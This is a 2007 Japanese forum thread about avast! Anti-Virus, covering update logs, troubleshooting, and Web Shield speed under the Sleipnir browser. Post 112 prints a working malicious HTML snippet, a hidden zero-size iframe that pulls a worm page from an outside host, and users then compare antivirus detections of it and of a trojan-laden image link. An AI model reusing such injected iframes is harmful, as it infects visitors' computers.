avast! Anti-Virus Part63

101 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 17:04:57

>>99
回線の問題だろ？ネトゲをやってみる身としては
自動アップデート以外は問題ないぞ。
てかping0とかありえないから。

102 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 17:38:55

>>82
ﾆﾔﾆﾔ

103 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 18:55:32

ノートソ先生をアンインスコして、avast入れとけば安心ですか？
他に何か足すソフトとかありますか？

104 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 18:56:36

>>103
あと回線切っておけば万全だな。それ以上の安全はない。

105 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 18:58:45

>>103
そうだな。まぁ、スパイウェア対策にSystemDoctor入れとくのが無難だな。
FWはルータかましてるなら、お好み程度で

106 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 19:38:38

>103
使用環境がわからないから答えられない

107 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 20:00:37

>>103
パソコンつけない

108 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 20:43:22

先週アバストを入れたばかりの初心者をどうか助けて下さい。

タスクのちっさい「ａ」にｺﾞｰｽﾄﾊﾞｽﾀｰｽﾞのロゴみたいな禁止マークが付いて
「休眠中」になって動いてくれません。

基本機能ｲﾝﾀｰﾌｪｰｽで標準に直してもちっさいアイコンの状態は変わりません。

操作が間違っているのでしょうか泣？？？

109 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 20:49:21

お休み中のavast!ﾀｿ

110 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 20:51:08

みぎくりっくでおんあくせすほごをさどうさせればいいだろ

111 ：名無しさん＠お腹いっぱい。：2007/01/31(水) 22:50:18

フリーズしないだけマシと思って感謝なさい

懐かしのフリーズ厨・・・（ ´,_ゝ｀）ﾌﾟｯ

112 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 02:35:34

<html>
<body>
</body>
</html>
<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>

↑これをhtmlで保存すると、ウィルス判定されるらしいのだが、avastは何も言わなかった。
大丈夫か知らん
W32/Fujacksってやつらしいのだけど。
リンク先飛んでも今は、ウィルスは無いみたい？

113 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 02:40:36

埋め込まれたURLだけでウイルス判定するのか？
飛んだ先で検出されただけじゃねーの

114 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 02:42:49

現在の更新の情報
合計時間： 25 s

- Vps：更新されました
(前のバージョン： 000709-0, 更新後のバージョン： 000709-1)

サーバー： download81.avast.com (75.126.53.171)
ダウンロード・ファイル： 5 (9.24 KB)
ダウンロード時間： 7 s

115 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 02:45:14

ATOKを再ｲﾝｽﾄしたら、1年以上も正常終了してたPCがたびたびﾌﾘｰｽﾞするようになった

・・・・なんて言えない･ﾟ･(ﾉД`)･ﾟ･

116 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 03:17:29

ATOKってなーんだ？

117 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 03:23:21

BTOKにすればもっと売れたかも
B'zみたいに

118 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 03:33:36

>>112
やってみた。

Authentium 4.93.8 01.30.2007 HTML/IFrame@expl
ClamAV devel-20060426 01.31.2007 HTML.Whboy
eTrust-InoculateIT 30.4.3361 01.31.2007 HTML/Fujacks.4io
eTrust-Vet 30.4.3361 01.31.2007 HTML/Emerleox
Fortinet 2.85.0.0 01.31.2007 HTML/Krvking.KL!tr
F-Prot 4.2.1.29 01.30.2007 HTML/IFrame@expl
Kaspersky 4.0.2.24 01.31.2007 Worm.Win32.Fujack.k
McAfee 4953 01.31.2007 Downloader-AYJ
Panda 9.0.0.4 01.31.2007 W32/Radoppan.K
Sophos 4.13.0 01.31.2007 Troj/Fujif-A
Symantec 10 01.30.2007 W32.Fujacks!html

119 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 03:47:32

補足
>>112 を踏んで
krvkr.com/worm.htmもまた、IFrameでmuma.htmを読み込む。
で、そのmuma.htmがカスペでTrojan-Downloader.VBS.Agent.aっと。

120 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 12:58:51

無防備パソコンで踏んでみた、ぶっ壊れた。

121 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 13:26:09

>112に逝ってみたけど入れなかった件
入れた人kwsk

ttp://www.nya-taloda.jpn.org/2MB/src/up16579.jpg

122 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 13:43:56

>>112
踏んでみた
http://up2.viploader.net/pic/src/viploader405543.jpg

123 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 13:48:18

>>122
JS:WinBomb[Trj]

124 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 13:50:05

>>122
ちょ、危険。

125 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 14:01:01

>122
はじめて遭遇した

126 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 14:03:16

VIPから持ってきたのか

127 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 14:06:09

Webシールドで一発だったわw
接続を切断！でOK

128 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 14:07:55

JPGウィルス多すぎ

129 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 14:15:54

専ブラでポップアップしないからおかしいと思ってクリックしてみたら。まったく。

130 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 14:48:48

>122
傘に怒られた(´・ω・`)

131 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 15:07:11

>>122
avastに怒られました
ttp://vista.crap.jp/img/vi7030996284.jpg

132 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 17:00:50

>>122
Virus Totalの結果
検出できのは
AntiVir, Avast, AVG, BitDefender, ClamAV, eTrust-InoculateIT,
Ewido, Fortinet, Ikarus, Kaspersky, Microsoft, NOD32v2, VirusBuster

他のはno virus foundだった

>>131
なんか403なんですけど

133 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 18:36:31

- プログラム：既に最新です
(現在のバージョン 4.7.942)
- Vps：更新されました
(前のバージョン： 000709-1, 更新後のバージョン： 000709-2)

134 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 19:11:22

>>110
回答ありがとうございます！

ですよね…それも何度もやってみるのですが何の変化もなく…
みぎくりっくで一番下にでる
「ｵﾝｱｸｾｽ保護を開始(N)」とゆー所を空しく押してみるのですが泣。

135 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 19:21:11

>>108
自分がAvastを入れた直後の話ですが、FirewallでAvastの通信を遮断していたようで
同じような現象になった。でもそのときは起動できないというメッセージが
きちんと表示された。

136 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 19:27:40

せめてもうちょっと環境を書くとか、他の常駐を書くとか。

137 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 22:34:35

ﾋﾝﾂ：低級者/高級者

138 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 23:14:40

低級とかこのスレッドに居るみんなだろ。

139 ：名無しさん＠お腹いっぱい。：2007/02/01(木) 23:31:30

低級という言葉に反応してる奴だけが低級

140 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 01:04:20

だよなｗｗｗ低級なんて反応しないよ俺は絶対に！！低級なんて！！低級なんて！！！１１１

141 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 01:10:28

ワーイ♪ゝ(▽｀*ゝ)(ノ*´▽)ノワーイ♪
VB100%でのvistaテストに合格しましたよー。

142 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 01:56:46

avast使い始めて１年と数日経過したのですが、１４ヶ月過ぎると自動的に更新のお知らせしてくれるのですか？

143 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 02:13:35

>>108

ttp://www.iso-g.com/modules/newbb/viewtopic.php?topic_id=407&forum=1&post_id=1819#forumpost1819
インストールしたフォルダの問題じゃないの

144 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 02:25:32

>>142
残り20日になると画面に赤いのが出てきてお知らせの案内をしてくれるよ

145 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:25:22

avast入れてから起動時よく固まる…
解決策ない？

146 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:29:34

どちらかを遅延起動させる。

147 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:34:43

>>145
それは他に常駐させてなくてavastだけを起動させてる時の話しか？

148 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:36:54

windows終了時に固まるのってまだ直ってない？

149 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:40:58

固まった事がないが

150 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:49:02

俺漏れも

151 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:50:08

じゃあ俺も

152 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:51:10

いやいや俺も

153 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 17:52:12

>>145
俺はタスクバーが1～2分砂時計になる

154 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 19:07:30

起動時もシャット時も変わらんかった
しかし、ザラム入れてから酷くなった
アバなしザラムでも酷いからザラムの所為だと思った

155 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 20:08:57

そんな海外製のソフトばっかり使ってるからです！

156 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:27:38

Sleipnirでlocalhost:12080で接続してスピードテストしたら

1.NTTPC(WebARENA)1： 8723.25kbps(8.723Mbps) 1089.98kB/sec
2.NTTPC(WebARENA)2： 9293.197kbps(9.293Mbps) 1161.01kB/sec
推定転送速度： 9293.197kbps(9.293Mbps) 1161.01kB/sec

ダイレクト接続だと↓

1.NTTPC(WebARENA)1： 22092.324kbps(22.092Mbps) 2761.22kB/sec
2.NTTPC(WebARENA)2： 23137.249kbps(23.137Mbps) 2891.36kB/sec
推定転送速度： 23137.249kbps(23.137Mbps) 2891.36kB/sec

ちょっとスピード落ちすぎなんで、何かスピードをそんなに落とさずに設定できる方法ないでしょうか？

157 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:33:21

>>156
localhost:12080 の設定を止めて

>・avastインストールフォルダ内のavast4.iniの[WebScanner]の項目に
>　OptinProcess=Sleipnir.exeって一文を加える。

でやってみて

158 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:34:02

WEB、ネットワークシールド

159 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:37:08

[スタート]－[ファイル名を指定して実行」をクリックします。
[msconfig]と入力し、システム構成ユーティリティを起動します。

サービスタブ開いてavast!のチェックはずしてやったぜ、ざまーみろ

160 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:39:59

msconfigはXP使いの決定的証拠

161 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:46:40

>>157
やってみたら

1.NTTPC(WebARENA)1： 9497.243kbps(9.497Mbps) 1187.04kB/sec
2.NTTPC(WebARENA)2： 8507.69kbps(8.507Mbps) 1063.17kB/sec
推定転送速度： 9497.243kbps(9.497Mbps) 1187.04kB/sec

やっぱり、変わらず。。。セキュリティを取るか、速度を取るかという感じでしょうか？

ちなみにWebシールドは必須という感じでしょうかね？

162 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:49:12

引用はOptionProcessだと思う(´・ω・`)

163 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 22:57:32

>>161
ちゃんと、localhost:12080 の設定を止めたか？

164 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:14:52

>>163
止めたけど、もしかしたら設定が反映されてないかもということで
再起動してみます。少々お待ちください

165 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:18:33

>>160
98/Me かも知れない。
また XP 用を移植した 2k かも知れない。

166 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:23:37

>>163
やっぱりダメでした。。。orz

他の方もこんな感じなんでしょうか。それとも自分だけ？

167 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:31:56

>>162
間違っているのはキミの方

168 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:33:11

>>166
こっちで試してみて

ttp://speed.rbbtoday.com/
ttp://www.studio-radish.com/tea/netspeed/

169 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:41:46

>>168
上のURLだとこんなん出ましたけど (｡･ｘ･)ゝ

SPEED 2.5 (speed.rbbtoday.com)
計測日時 : 2007年2月02日金曜日 23時39分29秒
下り（ISP→PC）: 38.03Mbps
上り（PC→ISP）: 38.27Mbps

？？サイトによってずいぶん違うみたいですね

170 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:44:44

なんかいきなり設定が全部セキュリティレベル高だったのが標準になってて焦った
標準シールドの除外したはずの専ブラのフォルダ設定まで消えていた…

171 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:45:04

俺もレイプでアバウェブスキャンさせようとしたらタイムアウト多発・・・
諦めたね、もうウェブシールドは

172 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:45:58

>>169
さらにそのサイトの通信状態によって数倍は軽く違うこともある。
まぁ、参考程度にね。

実際に Web シールドを ON にして使っていて、遅く感じてどうしても
速度が欲しい時に一時停止するとか使い分けたら？
遅く感じなかったらそのままでいいだろうし…。

173 ：名無しさん＠お腹いっぱい。：2007/02/02(金) 23:52:10

標準シールドだけでFWは別ソフトで
夕方から夜はネット混雑してるから精度落ちる

174 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 00:10:44

これ使ってると仮想メモリがすぐなくなる

175 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 00:12:42

実装増やせよボンビーニンｗ

176 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 00:19:16

　　　　　　　　　　　　　／￣￣^ヽ　　　／::.__　　.:::::::::::::　 __　　ヽ_
　　　　　　　　　　　　l　　　　　　　l　／　／　ヽ_ヽｖ /:　／　ヽ　　ヽ
　　　　　　＿／,--､l　　　　　ﾉ　/　　￣￣　√_＿＿丶￣￣　　　|
　　 ,--､_ノ::　`ｰ'::　　､ﾐｰ---‐,,l　|　　　　　　// ｔｰｰｰ|ヽ　　　　　　　|
　 ,/　　　:::　　　　　　 i￣￣　 |　|　　　　　..:　|　　　　|ヽ　　　　　　|
/　　　　　　　 l::: 　　l:::　　　l　　|　　　　　　　| |⊂ニヽ| |　　　　　　|
l　　　.　　 l　　　!::　　 |:::　　　 l　 |　　　　　| |　 |:::T::::|　!　　　　　|
|　　　l　　　l　　　 |::　　 l:　　　 l　＼:　　　　　ﾄ--^^^^^┤　　　　丿
|　　　l　. 　 }　　　l:::::,r-----　　ｌ　　＼::　　　　　￣￣^ヽ　　　丿
ヽ　　:l:::: 　ﾄ:;;;;;;;/-/＿_...........　　/ 　　　　　　　＿＿o

177 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 00:46:12

>>175　　　　　　　　　　　　　　　　　ボニーピンクちゃん
　　　　　　　　　　　　　　　, ―――――――――― ､
　　　　　　　　　　　　／／／／λ＼＼＼＼＼＼＼＼＼
　　　　　　　　　　　　/／／／／λ＼＼＼＼＼＼＼＼＼ヽ
　　　　　　　　　　　　/／／／／　＼＼＼＼＼＼＼＼＼＼ヽ　　あっ!!
　　　　　　　　　　　　/／／／　　　　＼＼＼＼＼＼＼＼＼ |
　　　　　　　　　　　　/／／＼　　　　　＼＼＼＼＼＼＼＼ |
　　　　　　　　　　　 /／､､,二,,,　　　　　　　＼＼＿＼＼＼＼ | ／￣￣￣＼
　　　　　　　　　　 │ヽ (0●:）>｀　　　　 <:(0●:）:ゝ　　ﾐ〆ｿ|（（（ヽ　　　　ヽ
　　　　　　　　　　　│　￣￣　　　　　　　　￣￣　　　　ﾉソﾉ| | －､ヽ＼　　　 !
　　　ゝ／￣￣￣＼.ｌ　　　　　　ﾉ　　　　　　　　　　　　ﾉ | || |　・ |─ |__　　　/
　　　/　＿＿＿＿＿ヽ　　　　　　（＿＿　)　　　　　　 | | | ┌　- ′　　）　 /
　　　|　|　/　 ─ ､－､!|　　　　　､＿l＿___ﾉ　・　　　　　| | | || ヽ　／　　ヽ＜
　　　|__|─ |　　・| ・　| ＼　　　　)──-'―─ 、　　 / |/ 　` ─┐　丨￣
　　　（　　　` ─　o－i　　ヽ＿／　　　　　　　　＼ .ﾉ＿　ﾉ　　　　 .j￣￣ |
　　　　ヽ､　　┬─┬ﾉ　/￣　./　　　　　　　　　　　ヽ-　､＼　　　 /　￣　ヽ＼
　／／ /ヽ─| | ♯|　 /　　　i　　　　　　　　　　　　　 | ..)　）＼　 i　　./　　 |＼＼
　 | |　 /　　｀i'lノ）)┘/　, ─│　　　　　　　　　　　　　!-l⊂⊃l┐__ヽ__/＼ / | 　 | |
　 | |　 |￣| ／　／| / （　(... .ヽ　　　　　　　　　　　 /　|_＿__|∈　＿＿./　.| 　 | |
　 |_|／ヽ､＿／　./　　 ` ─ /＼　　　　　　　　　　 /ヽ　　　　　￣＼-──| ＼|_|
　　 | |　 |───/＿＿＿＿i　　l＝＝＝＝＝＝＝l　 |＿＿＿＿＿__＼　　|＼ | |
　　 |／　ヽ── |＿＿＿＿__＼　 l二|＾|二二|＾|二l　丿＿＿＿＿＿＿|＿丿　＼|
　　l￣￣￣￣￣　|　|　　　　　　|　|.　 | |　　　| |　 | |　　　　　　　　　|　|　￣￣￣　l

178 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 00:48:00

あ～あスイッチ入れちゃった

179 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 00:49:37

メモリなんてマザー仕様に限界あるしな
いくらでも増やせる仕様ならいいんだが

180 ：156：2007/02/03(土) 07:43:25

SleipnirでWebシールド有効にしても、速度が遅くならない方法見つけました。
おじちゃんメモでWebシールドの説明読んでみたら、常駐タスクの設定で

インテリジェント・ストリーム検査を使用
ダウンロードしながら、ページを読込みながら検査をする場合にはチェックを入れてください。
チェックを外すと、全てを一時フォルダにダウンロードしてからチェックを行ないます。

とあったので、リアルタイムでなくキャッシュで落としてからなら影響ないのではと思い、
やってみたらWebシールド無効にしたときと変わらない速度が出ました。
しかし、セキュリティ的にはどうなのかよくわからないので、どなたかそのへん分かる人いれば
教えてください。

181 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 08:10:46

>>180
え？

182 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 08:32:50

本当にそうならあれだけど

183 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 08:46:24

>>180
自分も追加設定の処理された動作の詳細な情報を表示でやってみたけど、ダイレクトで接続でも
ちゃんと動作してるし、回線速度も速くなったよ

184 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 14:25:49

スレイプニル1.66でWebシールド有効にしてないのに、
wikipediaにアクセスすると表示されるまで1分くらいかかるのと、
なにかサイトにアクセスするたびに
タスクバーのアイコンがクルクル回るのは何故でしょうか？

185 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 14:29:50

糞メモリと糞CPU積んでネットサーフィンやってるんじゃねーよ。

186 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 14:38:01

いい加減　速度の話題うざい
不満なら他のソフトにすれば

187 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 14:40:52

wikipediaのサイト自体が重いんじゃないか？

188 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 14:43:16

>184
チェックしてるからだ

189 ：184：2007/02/03(土) 15:41:18

一応詳しく書くと
Sleipnirを立ち上げてから初めてwikipediaのどこかのページにアクセスすると
1分くらい止まって操作を受け付けなくなる（他のソフト等は普通に動く）
一度閉じるまではどのページへ行ってもその症状は起きなくなる
Sleipnirにwebシールド有効にするか、IEだとすぐ表示される
他のサイトだと同じ症状が発生しないっぽい
という感じです

>>188
やっぱりチェックしてるんですよね

有効にするのとしないのとでどう違ってくるのか気になるけど
とりあえず有効にしておくことにします

190 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 15:56:19

>189
環境によっても変わるので一概にいえないが
速度と検査はトレードオフだということ
ネットするならwebシールドはONにしておくのが基本

あまり遅いようだと他に原因があると思うが
おれはfirefox使ってるがそんなことはおきていない

191 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 15:57:41

>>189
有効・無効にしてここのファイル踏んでみれ。
違いがわかる…かどうかは知識次第だが。
ttp://www.eicar.org/anti_virus_test_file.htm
ちなみにウイルステストファイルなんで踏んでも何も問題無い。

192 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 16:18:24

>191
わかりやすいレスだ
テンプレにいれていいかも

193 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 16:53:11

>>191
無効にした場合ウィルスに感染するんですか？
怖くて踏めません･･･

194 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 16:57:19

テストだから問題ないと言っとろうが

195 ：名無しさん＠お腹いっぱい。：2007/02/03(土) 17:05:31

Sleipnir　avastでググったら
Webシールドが機能していませんでした。とかいう記事もあるね